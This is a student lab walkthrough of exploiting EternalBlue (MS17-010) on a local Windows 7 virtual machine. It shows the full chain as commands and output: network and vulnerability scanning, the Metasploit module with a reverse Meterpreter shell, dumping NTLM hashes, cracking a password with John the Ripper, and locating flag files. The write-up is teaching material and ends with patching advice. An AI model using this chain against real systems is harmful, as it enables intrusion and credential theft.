

Walkthrough | Exploiting EternalBlue (MS17-010)

Introduction

This lab was done in a local environment. This is also similar to Try Hack Me's [Blue](#). It is part of the lab work done in college.

This lab exercise focuses on exploiting a critical vulnerability in Microsoft's SMBv1 protocol, known as **EternalBlue** (CVE-2017-0144), on a vulnerable Windows 7 machine. EternalBlue was leaked by the Shadow Brokers group and later weaponized in widespread ransomware attacks such as WannaCry.

The primary objective was to identify the vulnerable machine on the network, assess its exposed services, and use the Metasploit Framework to exploit the SMB vulnerability and gain unauthorized access.

Target Identification & Scanning

The first step involved identifying active hosts within the same local network. A network-wide ARP scan was conducted to enumerate live systems based on IP and MAC addresses. During this enumeration, a potential target was identified with the IP address **10.0.2.15** and the MAC address **08:00:27:e4:fb:af**.

```
user@kali:~$ sudo arp-scan -l
Interface: eth0, type: ENIUMB, MAC: 08:00:27:a2:a7:24, IPv4: 10.0.2.4
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.2.3      08:00:27:43:72:cf      (Unknown)
10.0.2.1      52:54:00:12:35:00      (Unknown: locally administered)
10.0.2.2      52:54:00:12:35:00      (Unknown: locally administered)
10.0.2.15     08:00:27:e4:fb:af      (Unknown)

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.870 seconds (136.90 hosts/sec). 4 responded
```

Following host identification, a comprehensive TCP port scan was performed against the target to enumerate all open ports and associated services. The scan revealed several open ports, including:

- **135/tcp** – Microsoft Windows RPC
- **139/tcp** – NetBIOS Session Service
- **445/tcp** – Microsoft Directory Services (SMB)
- **49152–49156/tcp** – Additional Microsoft RPC services

These findings indicated that the target machine was likely running a version of Microsoft Windows, specifically within the Windows 7 to Windows 10 range, as inferred from service banners and port fingerprints. The system was identified as part of the **WORKGROUP** domain, with hostname **JON-PC**.

```
user@kali:~$ nmap -sV -p- 10.0.2.15
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-29 15:34 +0545
Nmap scan report for 10.0.2.15
Host is up (0.0010s latency).
Not shown: 65527 closed tcp ports (reset)
PORT      STATE SERVICE          VERSION
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds    Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc            Microsoft Windows RPC
49153/tcp open  msrpc            Microsoft Windows RPC
49154/tcp open  msrpc            Microsoft Windows RPC
49155/tcp open  msrpc            Microsoft Windows RPC
49157/tcp open  msrpc            Microsoft Windows RPC
MAC Address: 08:00:27:E4:FB:AF (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 76.45 seconds
```

To further assess the security posture of the target, a vulnerability scan was executed using available Nmap scripts. The scan confirmed that the SMB service was vulnerable to **MS17-010** — a critical remote code execution vulnerability exploited by EternalBlue.

This vulnerability provided a clear vector for exploitation in subsequent phases of the lab.

```

user@kali:~$ nmap -sV --script vuln -v 10.0.2.15
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-29 15:38 +0545
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:38
Completed NSE at 15:38, 10.02s elapsed
Initiating NSE at 15:38
Completed NSE at 15:38, 0.00s elapsed
Initiating ARP Ping Scan at 15:38
Scanning 10.0.2.15 [1 port]
Completed ARP Ping Scan at 15:38, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:38
Completed Parallel DNS resolution of 1 host. at 15:38, 0.01s elapsed
Initiating SYN Stealth Scan at 15:38
Scanning 10.0.2.15 [1000 ports]
Discovered open port 135/tcp on 10.0.2.15
Discovered open port 139/tcp on 10.0.2.15
Discovered open port 445/tcp on 10.0.2.15
Discovered open port 49155/tcp on 10.0.2.15
Discovered open port 49157/tcp on 10.0.2.15
Discovered open port 49154/tcp on 10.0.2.15
Discovered open port 49153/tcp on 10.0.2.15
Discovered open port 49152/tcp on 10.0.2.15
Completed SYN Stealth Scan at 15:38, 1.38s elapsed (1000 total ports)
Initiating Service scan at 15:38
Scanning 8 services on 10.0.2.15
Service scan Timing: About 50.00% done; ETC: 15:40 (0:00:54 remaining)
Completed Service scan at 15:39, 58.66s elapsed (8 services on 1 host)
NSE: Script scanning 10.0.2.15.
Initiating NSE at 15:39
Completed NSE at 15:39, 8.05s elapsed
Initiating NSE at 15:39
Completed NSE at 15:39, 0.01s elapsed
Nmap scan report for 10.0.2.15
Host is up (0.00050s latency).
Not shown: 992 closed tcp ports (reset)

```

```

PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
MAC Address: 08:00:27:E4:FB:AF (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_ smb-vuln-ms10-054: false
|_ smb-vuln-ms17-010:
|   VULNERABLE:
|     Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|       State: VULNERABLE
|       IDs: CVE:2017-0143
|       Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|         servers (ms17-010).
|
|   Disclosure date: 2017-03-14
|   References:
|     https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|     https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|     https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED

NSE: Script Post-scanning.
Initiating NSE at 15:39
Completed NSE at 15:39, 0.00s elapsed
Initiating NSE at 15:39
Completed NSE at 15:39, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 78.51 seconds

```

Vulnerability Assessment

Given the SMB service exposure and the operating system identified, research was performed to confirm that **MS17-010** was applicable to the target. MS17-010 is a security update released by Microsoft to patch the vulnerability exploited by EternalBlue.

This vulnerability allows remote code execution without authentication if a specially crafted packet is sent to the SMBv1 server.

Exploitation

To exploit the MS17-010 vulnerability confirmed during the scanning phase, the **Metasploit Framework** was used. Metasploit is a widely adopted penetration testing tool that allows security professionals to develop and execute exploit code against remote target machines.

The framework was launched to initiate the exploitation process.

```
user@kali:~$ msfconsole
Metasploit tip: Writing a custom module? After editing your module, why not try
the reload command

.:ok000kdc'          'cdk000ko:
.x000000000000000c   c00000000000000x,
:0000000000000000k,   ,k0000000000000000:
'0000000000kkk00000: :00000000000000000'
o00000000 .MMMM .o000o0000l .MMMM .00000000o
d00000000 .MMMMMM .c00000c .MMMMMM .00000000x
l00000000 .MMMMMMMMMMMM .d;MMMMMMMMMMMM .00000000l
.00000000 .MMMM .MMMMMMMMMMMMMMMM .MMMM .00000000.
c0000000 .MMMM 00c .MMMMMM o00 .MMMM .0000000c
o000000 .MMMM 0000 .MMMM:0000 .MMMM .000000o
l00000 .MMMM 0000 .MMMM:0000 .MMMM .00000l
;0000 .MMMM 0000 .MMMM:0000 .MMMM;0000;
.d000 WM 0000ccccx0000 .MX' x00d.
,k0l'M 00000000000000 .M d0k,
:kk; .00000000000000;0k;
;k0000000000000000k;
,x0000000000000x,
.l0000000l.
.d0d,
.
+ -- ==[ metasploit v6.4.50-dev ]
+ -- ==[ 2496 exploits - 1283 auxilliary - 431 post ]
+ -- ==[ 1610 payloads - 49 encoders - 13 nops ]
+ -- ==[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
```

Within the Metasploit console, a search was conducted for the MS17-010 vulnerability. Among the available modules, the one of interest was located at index 0:

`exploit/windows/smb/ms17_010_eternalblue`

This module is specifically designed to exploit the EternalBlue vulnerability affecting SMBv1 on unpatched Windows systems.

```
msf6 > search ms17-010

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -    -
0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14      average Yes    MS17-010 EternalBlue SMB Remote Windows
    Kernel Pool Corruption
1  \_ target: Automatic Target               .              .    .    .
2  \_ target: Windows 7                     .              .    .    .
3  \_ target: Windows Embedded Standard 7   .              .    .    .
4  \_ target: Windows Server 2008 R2        .              .    .    .
5  \_ target: Windows 8                     .              .    .    .
6  \_ target: Windows 8.1                   .              .    .    .
7  \_ target: Windows Server 2012           .              .    .    .
8  \_ target: Windows 10 Pro                 .              .    .    .
9  \_ target: Windows 10 Enterprise Evaluation .              .    .    .
10 exploit/windows/smb/ms17_010_psexec      2017-03-14      normal Yes    MS17-010 EternalRomance/EternalSynergy/
    EternalChampion SMB Remote Windows Code Execution
11 \_ target: Automatic                     .              .    .    .
12 \_ target: PowerShell                     .              .    .    .
13 \_ target: Native upload                  .              .    .    .
14 \_ target: MOF upload                     .              .    .    .
15 \_ AKA: ETERNALSYNERGY                    .              .    .    .
16 \_ AKA: ETERNALROMANCE                    .              .    .    .
17 \_ AKA: ETERNALCHAMPION                   .              .    .    .
18 \_ AKA: ETERNALBLUE                       .              .    .    .
19 auxiliary/admin/smb/ms17_010_command     2017-03-14      normal No     MS17-010 EternalRomance/EternalSynergy/
    EternalChampion SMB Remote Windows Command Execution
20 \_ AKA: ETERNALSYNERGY                    .              .    .    .
21 \_ AKA: ETERNALROMANCE                    .              .    .    .
22 \_ AKA: ETERNALCHAMPION                   .              .    .    .
23 \_ AKA: ETERNALBLUE                       .              .    .    .
24 auxiliary/scanner/smb/smb_ms17_010      .                normal No     MS17-010 SMB RCE Detection
25 \_ AKA: DOUBLEPULSAR                      .              .    .    .
26 \_ AKA: ETERNALBLUE                       .              .    .    .
```

The module was selected for use.

Upon selection, no specific payload was manually defined, so Metasploit automatically selected its default:

`windows/x64/meterpreter/reverse_tcp`

This payload attempts to establish a reverse Meterpreter session from the target system back to the attacking machine. Next, the module options were reviewed to verify required configurations.

```
msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > options

Module options (exploit/windows/smb/ms17_010_eternalblue):

  Name          Current Setting  Required  Description
  --          -
  RHOSTS        10.0.2.15       yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic
  RPORT         445             yes       The target port (TCP)
  SMBDomain     10.0.2.4        no        (Optional) The Windows domain to use for authentication. Only affects Windows S
  SMBPass       10.0.2.4        no        (Optional) The password for the specified username
  SMBUser       10.0.2.4        no        (Optional) The username to authenticate as
  VERIFY_ARCH   true            yes       Check if remote architecture matches exploit Target. Only affects Windows Serve
  VERIFY_TARGET true            yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2,

Payload options (windows/x64/meterpreter/reverse_tcp):

  Name          Current Setting  Required  Description
  --          -
  EXITFUNC     thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST        10.0.2.4        yes       The listen address (an interface may be specified)
  LPORT        4444            yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Automatic Target
```

The **RHOSTS** field (the remote host target address) was not set. As per the module documentation, this value refers to the IP address of the system being targeted for exploitation. The **RHOSTS** parameter was configured using the IP address previously identified during scanning.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.0.2.15
RHOSTS => 10.0.2.15
msf6 exploit(windows/smb/ms17_010_eternalblue) > options

Module options (exploit/windows/smb/ms17_010_eternalblue):

  Name          Current Setting  Required  Description
  --          -
  RHOSTS        10.0.2.15       yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic
  RPORT         445             yes       The target port (TCP)
  SMBDomain     10.0.2.4        no        (Optional) The Windows domain to use for authentication. Only affects Windows S
  SMBPass       10.0.2.4        no        (Optional) The password for the specified username
  SMBUser       10.0.2.4        no        (Optional) The username to authenticate as
  VERIFY_ARCH   true            yes       Check if remote architecture matches exploit Target. Only affects Windows Serve
  VERIFY_TARGET true            yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2,

Payload options (windows/x64/meterpreter/reverse_tcp):

  Name          Current Setting  Required  Description
  --          -
  EXITFUNC     thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST        10.0.2.4        yes       The listen address (an interface may be specified)
  LPORT        4444            yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Automatic Target
```

Once the settings were confirmed, the exploit was executed. The exploit successfully triggered the vulnerability, resulting in an active **Meterpreter session** — a sign that the attacker had gained remote shell access to the target Windows machine. This access allowed for command execution on the compromised system, marking the successful exploitation of the EternalBlue vulnerability.


```

msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] 10.0.2.15:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.0.2.15:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.0.2.15:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.0.2.15:445 - The target is vulnerable.
[*] 10.0.2.15:445 - Connecting to target for exploitation.
[+] 10.0.2.15:445 - Connection established for exploitation.
[+] 10.0.2.15:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.0.2.15:445 - CORE raw buffer dump (42 bytes)
[*] 10.0.2.15:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.0.2.15:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.0.2.15:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.0.2.15:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.0.2.15:445 - Trying exploit with 12 Groom Allocations.
[*] 10.0.2.15:445 - Sending all but last fragment of exploit packet
[*] 10.0.2.15:445 - Starting non-paged pool grooming
[+] 10.0.2.15:445 - Sending SMBv2 buffers
[+] 10.0.2.15:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.0.2.15:445 - Sending final SMBv2 buffers.
[*] 10.0.2.15:445 - Sending last fragment of exploit packet!
[*] 10.0.2.15:445 - Receiving response from exploit packet
[+] 10.0.2.15:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.0.2.15:445 - Sending egg to corrupted connection.
[*] 10.0.2.15:445 - Triggering free of corrupted buffer.
[*] Sending stage (203846 bytes) to 10.0.2.15
[+] 10.0.2.15:445 - -----
[+] 10.0.2.15:445 - -----WIN-----
[+] 10.0.2.15:445 - -----
[*] Meterpreter session 1 opened (10.0.2.4:4444 -> 10.0.2.15:49158) at 2025-06-29 15:57:15 +0545

meterpreter >

```

Post-Exploitation

After successfully gaining access to the target system via the EternalBlue exploit, various post-exploitation tasks were carried out to assess the depth of access and gather critical information. This phase involved credential extraction as well as flag discovery throughout the compromised system.

Credential Extraction

With the Meterpreter session established, the first objective was to extract password hashes from the compromised system. A hash dump revealed the presence of three user accounts:

- Administrator
- Guest
- Jon

The "Jon" user was of particular interest, as the system's hostname earlier identified was JON-PC.

```

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
meterpreter >

```

The NTLM hash associated with the Jon user account was saved to a local text file in preparation for offline cracking.

```
user@kali:~$ mousepad tests.txt
```

```
~/tests.txt - Mousepad
File Edit Search View Document Help
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d :::
```

Using **John the Ripper**, a password cracking attempt was initiated. The NT hash format was specified, and the widely-used **rockyou.txt** wordlist was employed. The cracking attempt was successful, revealing the cleartext password for the Jon account, which could be used for further privilege escalation.

```
(user@kali)-[~]
$ john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt tests.txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
alqfna22 (Jon)
1g 0:00:00:00 DONE (2025-06-29 14:29) 2.272g/s 23182Kp/s 23182Kc/s 23182KC/s alqui..a
lpusidi
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.
```

Flag Extraction

After gaining initial access and extracting credentials, I continued exploring the compromised system to locate additional flags for this lab.

Initially, I was in the directory **C:\Windows\System32**. Using **cd ..**, I moved up one directory level to the root of the **C:** drive.

```
meterpreter > pwd
C:\Windows\system32
```

```
meterpreter > pwd
C:\Windows\system32
meterpreter > cd ..\
meterpreter > pwd
C:\Windows
meterpreter >
```



```

meterpreter >
meterpreter > cd ..\
meterpreter > pwd
C:\Windows
meterpreter > cd ..\
meterpreter > pwd
C:\
meterpreter >

```

In this directory, I found **flag1.txt**. Displaying its contents by running `cat flag1.txt` revealed the first flag.

```

meterpreter > ls
Listing: C:\

```

Mode	Size	Type	Last modified	Name
040777/rwxrwxrwx	0	dir	2018-12-13 08:58:36 +0545	\$Recycle.Bin
040777/rwxrwxrwx	0	dir	2009-07-14 10:53:56 +0545	Documents and Settings
040777/rwxrwxrwx	0	dir	2009-07-14 09:05:08 +0545	PerfLogs
040555/r-xr-xr-x	4096	dir	2011-04-12 14:13:43 +0545	Program Files
040555/r-xr-xr-x	4096	dir	2009-07-14 10:42:06 +0545	Program Files (x86)
040777/rwxrwxrwx	4096	dir	2009-07-14 10:53:56 +0545	ProgramData
040777/rwxrwxrwx	0	dir	2018-12-13 08:58:22 +0545	Recovery
040777/rwxrwxrwx	4096	dir	2025-06-29 08:26:27 +0545	System Volume Information
040555/r-xr-xr-x	4096	dir	2018-12-13 08:58:28 +0545	Users
040777/rwxrwxrwx	16384	dir	2018-12-13 08:58:36 +0545	Windows
100666/rw-rw-rw-	24	fil	2019-03-18 01:12:21 +0545	flag1.txt
100666/rw-rw-rw-	1610158080	fil	2019-03-18 01:50:20 +0545	hiberfil.sys
000000/-	0	fif	1970-01-01 05:30:00 +0530	pagefile.sys

```

meterpreter > cat flag1.txt
flag{access_the_machine}
meterpreter >

```

Searching for further flags within the system initially proved unfruitful. However, after some research online, I discovered a useful trick to locate files by name using `search -f flag2.txt`.

```

meterpreter > search -f flag2.txt
Found 1 result...

```

Path	Size (bytes)	Modified (UTC)
c:\Windows\System32\config\flag2.txt	34	2019-03-18 01:17:48 +0545

This led me to the path `C:\Windows\System32\config`. Navigating to this directory, I tried navigation at once, through `cd Windows\System32\config`, it gave errors and then tried one by one. After navigation, it displayed the contents of **flag2.txt** and uncovered the second flag.

```
meterpreter > cd Windows\System32\config
[-] stdapi_fs_chdir: Operation failed: The system cannot find the file specified.
meterpreter > cd Windows
meterpreter > cd System32
meterpreter > cd config
meterpreter > pwd
C:\Windows\System32\config
```

```
meterpreter > ls
Listing: C:\Windows\System32\config
```

040777/rwxrwxrwx	4096	dir	2025-06-29 08:19:28	+0545	RegBack
100666/rw-rw-rw-	262144	fil	2025-06-29 14:22:44	+0545	SAM
100666/rw-rw-rw-	1024	fil	2011-04-12 14:17:10	+0545	SAM.LOG
100666/rw-rw-rw-	21504	fil	2025-06-30 01:17:47	+0545	SAM.LOG1
100666/rw-rw-rw-	0	fil	2009-07-14 08:19:08	+0545	SAM.LOG2
100666/rw-rw-rw-	262144	fil	2025-06-30 02:27:26	+0545	SECURITY
100666/rw-rw-rw-	1024	fil	2011-04-12 14:17:10	+0545	SECURITY.LOG
100666/rw-rw-rw-	21504	fil	2025-06-30 02:27:26	+0545	SECURITY.LOG1
100666/rw-rw-rw-	0	fil	2009-07-14 08:19:08	+0545	SECURITY.LOG2
100666/rw-rw-rw-	38273024	fil	2025-06-30 03:00:36	+0545	SOFTWARE
100666/rw-rw-rw-	1024	fil	2011-04-12 14:17:10	+0545	SOFTWARE.LOG
100666/rw-rw-rw-	262144	fil	2025-06-30 03:00:36	+0545	SOFTWARE.LOG1
100666/rw-rw-rw-	0	fil	2009-07-14 08:19:08	+0545	SOFTWARE.LOG2
100666/rw-rw-rw-	12845056	fil	2025-06-30 03:00:04	+0545	SYSTEM
100666/rw-rw-rw-	1024	fil	2011-04-12 14:17:06	+0545	SYSTEM.LOG
100666/rw-rw-rw-	262144	fil	2025-06-30 03:00:04	+0545	SYSTEM.LOG1
100666/rw-rw-rw-	0	fil	2009-07-14 08:19:08	+0545	SYSTEM.LOG2
040777/rwxrwxrwx	4096	dir	2018-12-13 04:48:05	+0545	TxR
100666/rw-rw-rw-	34	fil	2019-03-18 01:17:48	+0545	flag2.txt
040777/rwxrwxrwx	4096	dir	2010-11-21 08:26:37	+0545	systemprofile

```
meterpreter > cat flag2.txt
flag{sam_database_elevated_access}meterpreter >
meterpreter >
```

Still eager to find more, I explored other likely locations. Recalling that user-specific data often resides in the Users folder, I navigated to `C:\Users\Jon\Documents`.

```
meterpreter > pwd
C:\
meterpreter > ls
Listing: C:\
```

Mode	Size	Type	Last modified	Name
040777/rwxrwxrwx	0	dir	2018-12-13 08:58:36 +0545	\$Recycle.Bin
040777/rwxrwxrwx	0	dir	2009-07-14 10:53:56 +0545	Documents and Settings
040777/rwxrwxrwx	0	dir	2009-07-14 09:05:08 +0545	PerfLogs
040555/r-xr-xr-x	4096	dir	2011-04-12 14:13:43 +0545	Program Files
040555/r-xr-xr-x	4096	dir	2009-07-14 10:42:06 +0545	Program Files (x86)
040777/rwxrwxrwx	4096	dir	2009-07-14 10:53:56 +0545	ProgramData
040777/rwxrwxrwx	0	dir	2018-12-13 08:58:22 +0545	Recovery
040777/rwxrwxrwx	4096	dir	2025-06-29 08:26:27 +0545	System Volume Information
040555/r-xr-xr-x	4096	dir	2018-12-13 08:58:28 +0545	Users
040777/rwxrwxrwx	16384	dir	2018-12-13 08:58:36 +0545	Windows
100666/rw-rw-rw-	24	fil	2019-03-18 01:12:21 +0545	flag1.txt
100666/rw-rw-rw-	1610158080	fil	2019-03-18 01:50:20 +0545	hiberfil.sys
000000/	0	fif	1970-01-01 05:30:00 +0530	pagefile.sys

```
meterpreter >
```

```
meterpreter > cd Users
meterpreter > ls
Listing: C:\Users
```

Mode	Size	Type	Last modified	Name
040777/rwxrwxrwx	0	dir	2009-07-14 10:53:56 +0545	All Users
040555/r-xr-xr-x	8192	dir	2009-07-14 12:52:31 +0545	Default
040777/rwxrwxrwx	0	dir	2009-07-14 10:53:56 +0545	Default User
040777/rwxrwxrwx	8192	dir	2018-12-13 08:58:45 +0545	Jon
040555/r-xr-xr-x	4096	dir	2011-04-12 14:13:15 +0545	Public
100666/rw-rw-rw-	174	fil	2009-07-14 10:39:24 +0545	desktop.ini

```
meterpreter > cd Jon
meterpreter > ls
Listing: C:\Users\Jon
```

Mode	Size	Type	Last modified	Name
040777/rwxrwxrwx	0	dir	2018-12-13 08:58:31 +0545	AppData
040777/rwxrwxrwx	0	dir	2018-12-13 08:58:31 +0545	Application Data
040555/r-xr-xr-x	0	dir	2018-12-13 08:58:48 +0545	Contacts
040777/rwxrwxrwx	0	dir	2018-12-13 08:58:31 +0545	Cookies
040555/r-xr-xr-x	0	dir	2018-12-13 09:34:07 +0545	Desktop
040555/r-xr-xr-x	4096	dir	2025-06-29 14:22:16 +0545	Documents
040555/r-xr-xr-x	0	dir	2018-12-13 08:58:48 +0545	Downloads
040555/r-xr-xr-x	4096	dir	2018-12-13 08:58:51 +0545	Favorites
040555/r-xr-xr-x	0	dir	2018-12-13 08:58:48 +0545	Links
040777/rwxrwxrwx	0	dir	2018-12-13 08:58:31 +0545	Local Settings
040555/r-xr-xr-x	0	dir	2018-12-13 08:58:48 +0545	Music
040777/rwxrwxrwx	0	dir	2018-12-13 08:58:31 +0545	My Documents
100666/rw-rw-rw-	524288	fil	2025-06-29 14:22:41 +0545	NTUSER.DAT

Within this directory, I found **flag3.txt**. Reading it by running `cat flag3.txt` exposed the final flag.

```
meterpreter > cd Documents
meterpreter > ls
Listing: C:\Users\Jon\Documents

Mode                Size      Type      Last modified          Name
-----
040777/rwxrwxrwx    0        dir      2018-12-13 08:58:31 +0545 My Music
040777/rwxrwxrwx    0        dir      2018-12-13 08:58:31 +0545 My Pictures
040777/rwxrwxrwx    0        dir      2018-12-13 08:58:31 +0545 My Videos
100666/rw-rw-rw-   402      fil      2018-12-13 08:58:48 +0545 desktop.ini
100666/rw-rw-rw-    37      fil      2019-03-18 01:11:36 +0545 flag3.txt
```

```
meterpreter > cat flag3.txt
flag{admin_documents_can_be_valuable}meterpreter > \
meterpreter >
```

With these three flags extracted, this phase of the lab concluded successfully.

Summary

This lab demonstrated a full exploitation chain targeting the EternalBlue vulnerability (MS17-010) on a vulnerable Windows 7 machine. The engagement began with network enumeration and port scanning, which revealed an exposed SMB service vulnerable to EternalBlue. Leveraging the Metasploit Framework, remote code execution was achieved, resulting in a Meterpreter session and full access to the target system.

Post-exploitation tasks included extracting NTLM hashes, successfully cracking a user password, and locating three hidden flags scattered throughout the file system. The exercise provided hands-on experience in real-world exploitation, credential harvesting, privilege enumeration, and data discovery on a compromised Windows environment.

Through this process, a deeper understanding was gained of how outdated and unpatched systems can be critically compromised and why timely updates and vulnerability management are essential in maintaining a secure infrastructure.

Tools Used

Tool	Purpose	Usage in This Walkthrough
arp-scan	Network discovery	Used to identify the IP and MAC address of the target machine on the local network.
nmap	Port scanning & service enumeration	Performed a comprehensive TCP scan to discover open ports and determine the operating system.
Metasploit Framework (msfconsole)	Exploitation framework	Used to identify and execute the EternalBlue exploit module, configure payloads, and gain a Meterpreter session.
John the Ripper	Offline password cracking	Used to crack the NTLM hash of the 'Jon' user account with the rockyou.txt wordlist.

Exploits Used

Exploit Name: EternalBlue – SMBv1 Remote Code Execution (MS17-010)

Description: A critical vulnerability in Microsoft's SMBv1 protocol allowing unauthenticated remote code execution by sending specially crafted packets.

Details:

- **Exploit Source:** Developed by the Shadow Brokers; weaponized in multiple public exploits.
- **CVE ID:** CVE-2017-0144
- **Used via Metasploit Module:** [exploit/windows/smb/ms17_010_eternalblue](#)
- **Payload Used:** [windows/x64/meterpreter/reverse_tcp](#)

Final Thoughts

This lab demonstrates how a single unpatched vulnerability — such as EternalBlue (MS17-010) — can lead to complete system compromise. The walkthrough reinforced the importance of thorough network enumeration, accurate vulnerability identification, and proper module and payload selection during exploitation.

Beyond technical execution, the exercise serves as a reminder to system administrators and security professionals:

Keep systems up to date, disable outdated protocols like SMBv1, and apply critical patches without delay.

Unchecked vulnerabilities can become entry points for devastating breaches.